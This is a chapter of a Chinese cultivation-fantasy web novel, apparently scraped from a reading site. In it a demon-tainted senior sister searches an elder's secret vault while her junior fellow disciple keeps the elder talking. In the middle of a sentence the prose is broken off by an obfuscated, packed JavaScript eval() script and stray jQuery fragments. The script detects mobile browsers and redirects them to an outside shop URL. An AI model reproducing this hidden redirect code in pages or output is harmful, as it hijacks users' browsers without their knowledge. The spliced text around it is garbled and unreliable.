41. 极上奇莲(二)

作品:《师姐入魔了怎么办

    这已经是进来的第五日了,按理来说早该出去了,但出现了三只鸟联合的意外,如此一来,就算是有人问起也有了合理的解释。


    极上奇莲的珍惜程度在整个花园里可以排上前几,肯定也有镇守的灵兽,在快要接近中心时,她放慢了脚步。


    “小心。”


    江砚辞依言注意四周。


    苍天的树木,及腰的草丛,这里地势平坦一览无余,除了风吹动草叶的沙沙声再无其他。


    也没有其他任何气息。


    她大着胆子再往前靠。


    极上奇莲生长在湖中,单生且领地意识极强,方圆十里不会再有任何生物。据她所知,这里有一大片湖水,只它单单生在湖中央。


    可是她已经走到了湖边,却什么都没看到。


    “……师姐?”


    陈舒朝猛地明白过来,迅速转身:“快走,追上沐秋雨!”


    她知道沐秋雨为何会出现在那里了。


    “她运走了极上奇莲。”既然能和林野鹤取得联系,那他应当告诉了他们她需要什么,为了防止意外发生,他们很可能会把这些运走。


    要取得剩下的东西就比之前要难很多了。


    江砚辞怔愣一瞬,快速跟上,听师姐继续道:“极上奇莲必须生长在水中,且方圆十里无任何生物。除了沐秋雨的这个花园,就只有一处地方可以有这么大的地方了。”


    “哪里?”刚开口问完,江砚辞就明白了。


    “——是空间?”


    陈舒朝带着江砚辞快速往回走:“对,空间只有化神修士可以自由出入,方才沐秋雨应当是在教授那人照顾极上奇莲的方法。”


    极上奇莲的养护极其麻烦,也怪不得她拿着玉简那么暴躁了。


    江砚辞:“五日过去,佛仙血应该早已搬完了。”


    “我们还有一条线索,只有化神及以上可以用空间。”


    江砚辞:“所有长老最高也不过元婴大圆满,只有大长老前段时日刚突破到了化神。”


    “空间可随身携带,如此重要的东西,他一定会随身带着。”


    “不。”陈舒朝道,“丰文山太蠢了,并且他知道自己很蠢,随身带着说不定有一日连自己都找不到了。所以他会把重要的东西放在一个统一的地方。”


    江砚辞:“师姐知道是哪里?”


    陈舒朝:“嗯,是我无意中看到的,他们不知道我知道,应当不会对此设防。”


    说话间,他们到了入口处。


    陈舒朝在出来的一瞬间重新变小变透明,趴在江砚辞的肩头,对他传音道:“你知道丰文山住哪么?”


    她所知道也是丰文山几十年前的洞府,不知道换没换过。


    江砚辞低头看看自己的肩头,其实他也看不到师姐,但是声音都是从这里传来的,可以根据声音判断师姐具体在哪里。


    “知道,他的洞府一直没搬。”


    丰文山的洞府就是最靠近主峰的侧峰,叫寻山,很好认。


    整个山峰光秃秃的,是她之前修炼时不小心烧的。


    有法术可以让树长回来,他却说挺有趣的,就没管。


    如今再看,陈舒朝还颇有种被翻黑历史的感觉。


    峰内很安静,方辰时,丰文山还在演武场授课,他喜静,平日里洞府内也没什么人。


    陈舒朝望去,光秃秃的山上立着一座院子,院内无人。


    江砚辞走进去,刚到院子里,就听到一声:“站住。”


    竟然有人——


    江砚辞站定,侧头,见到一人一袭白衣,在院子里下棋品茶。


    方才的无人是障眼法?


    丰文山落下一颗白子:“你不常来找我,这次是为何?”


    他所站的位置已经离房门很近了,对方修为已达化神,陈舒朝没有贸然传音,悄悄从门缝飘了进去。


    进去后她也没有现出身形,大致扫了一眼室内布局,飘进床底,果见有一条密道。


    密道昏暗,待到了底下,她才现出身形,长出了一口气。


    这个地下室并不算是多大的秘密,稍微熟悉点的人都知道,但正是这样,更大的秘密才会被掩盖。


    江砚辞还在外面,虽然她经常说丰文山蠢,但到了这个地步,他也该发现了。


    得赶快了。


    地下室放的是各种修炼秘籍,她一排排走过去,在第三排中央扭动了花瓶。


    “轰隆隆——”


    最后一排书架被机关缓缓向右移开。


    ——快点、再快点。


    陈舒朝无声地催促。


    机关启动的声音不小,若是被丰文山注意到就糟了。


    她是带着很大的赌的成分。


    时间仿佛被无限拉长,一点一点过去,门被完全打开。


    陈舒朝一边注意着上面的动静,一边却并不急着进去。


    她并指,按着记忆掐诀,一道无形的屏障发出水一样的波纹,随后消失不见。


    走进去,里面放着的是各种各样的禁术禁品,在最最中央,是一个黑色的小匣子,她伸手一挥,带着灵力的风抚过黑匣,只听得“咔哒”一声,匣子打开。


    黑面静静躺着一只空间戒指。


    *


    江砚辞感到肩膀一松,他下意识要望去,又生生止住。


    丰文山抿一口茶水,等着他回答。


    江砚辞忽地福至心灵,道:“我有个功法不太理解,想来问问师叔。”


    他们平日里接触不多,仅有的接触便是像现在这样问一些问题。


    丰文山不多说:“拿来看看。”


    还好他平日储物袋里装的东西够多。


    他拿出一本蓝色封皮的书,翻开其中一页递给他。


    丰文山扫了两眼:“这是元婴中期才能修炼的书,你现在修有些过于早了。”


    江砚辞笑笑:“没打算修炼,是为了突破做准备。”


    他没说信不信,认真看了起来,半晌吐出一句令江砚辞定在原地的话:“前些日子,妖界易主了。”


    江砚辞垂在身侧的手一颤,面上仍是镇定道:“我听说了。”


    丰文山:“据说是有神人相助,神人助上届妖皇的遗嗣夺回皇位,索要的报酬却只是月华凝露草。”


    “你说,这是为何呢?”


    江砚辞:“许是为了完成某项任务。”


    “任务只需要一株,发布任务的人也只拿到了一株,可我得到的消息是那人拿了两珠。”


    江砚辞试探道:“那是妖族吧,与我们有何关系?”


    妖族和人族的关系说不上不好,也说不上好,两族互不干涉,各自安好。


    只是有了二长老的那件事,妖族对人族极其厌恶,甚至不允许妖界内


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954931|188625||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出现人族。


    丰文山不答他的话,兀自说道:“你今日去沐长老那里做什么?”


    “去摘佛仙血。”


    “你修炼需要用到佛仙血么?”


    江砚辞摇头:“在古籍上看到了这种草药,比较感兴趣。”


    丰文山放下书,递出去一盏茶:“站半天累了吧,坐下喝口茶。”


    以他的修为根本不需要下毒,江砚辞坐下,学着他抿了一口。


    苦味在嘴里散开。


    丰文山目光看向远处,无量宗群峰林立,更高的山顶隐在雾中时明时灭,有数以万计的修士在这里生活、绽放光芒。


    “江师侄,你是我们宗的希望,也是修真界的希望。”


    在他之前,担当希望的是陈舒朝,如今陈舒朝入魔,他也……


    丰文山当然希望自己的猜测是错的,可种种迹象已经指明了真相。


    江砚辞从小就被寄予厚望,可以说是被当做第二个陈舒朝培养的,也要走她的老路么?


    “师叔谬赞了。”


    他之前不理解为何自己已经有如此天赋,长老们还是会对着他摇头叹气。


    见到师姐后他才明白,有的人就如明月皎皎,柔和耀眼的光芒是谁都无法超越的,即便入了魔也无法忽视。


    师姐才是修真界的希望,他还差得很远。


    “倒也不必自谦,你确实称得上一句天骄。”


    江砚辞没接话,对方又道:“你说你摘了佛仙血?可以让我看看么?”


    江砚辞手腕翻转,一株完整的佛仙血静静躺在手中。


    “这佛仙血不好摘吧,居然这么完整,不错。”


    江砚辞心跳一滞,却见他什么反应也无,扫了两眼便收回目光。


    摸不准他到底看没看出来,他坐在一旁,手指紧了紧茶盏。


    丰文山注意到他的动作,见他茶还是满满一杯:“不好喝么?”


    “我不喜茶。”


    “总要习惯的。”丰文山对他举举茶杯,一口喝完,“你师姐倒是个百无禁忌的性子,谁也磨不动她干她不喜欢的事。”


    江砚辞就是喜欢师姐这种性子,他向往着、也自然亲近与仰慕这类人。


    “若她没有……我想你们也是一对很亲密的师姐弟,你会喜欢她的,没人不喜欢她。”他隐去了一些彼此都知道的内容。


    “当年……师姐到底为什么会被封印在惊雷峰下?”


    他装出仅仅是好奇的样子,不怎么抱希望地问,不曾想对方犹豫了下,将自己所知和盘托出。


    “说实话,没人相信她会入魔。”


    话题有些沉重,他又给自己倒了杯茶:“那日我们本在等待她的凯旋归来,全宗上下空前热闹,甚至所有峰都不约而同停课,其他宗的长老也来了。”


    “这些想必你都知道。”


    他的确都知道,之前也是那些等待中的一员,可等来的却不是胜利的消息,而是英雄入魔,自愿囚于惊雷峰下。


    “惊雷峰在许多年前就是禁地,原因无他,因为那里藏着开山之祖所设下的法阵——九转封魔阵。”


    能被封在这个阵中的,必定是魔,所以即便大家再不想相信,也必须相信了,摆在他们面前的是不可否认的事实。


    “——对你们这些小辈是这样说的。”


    江砚辞抬眼:“还有其他说辞?”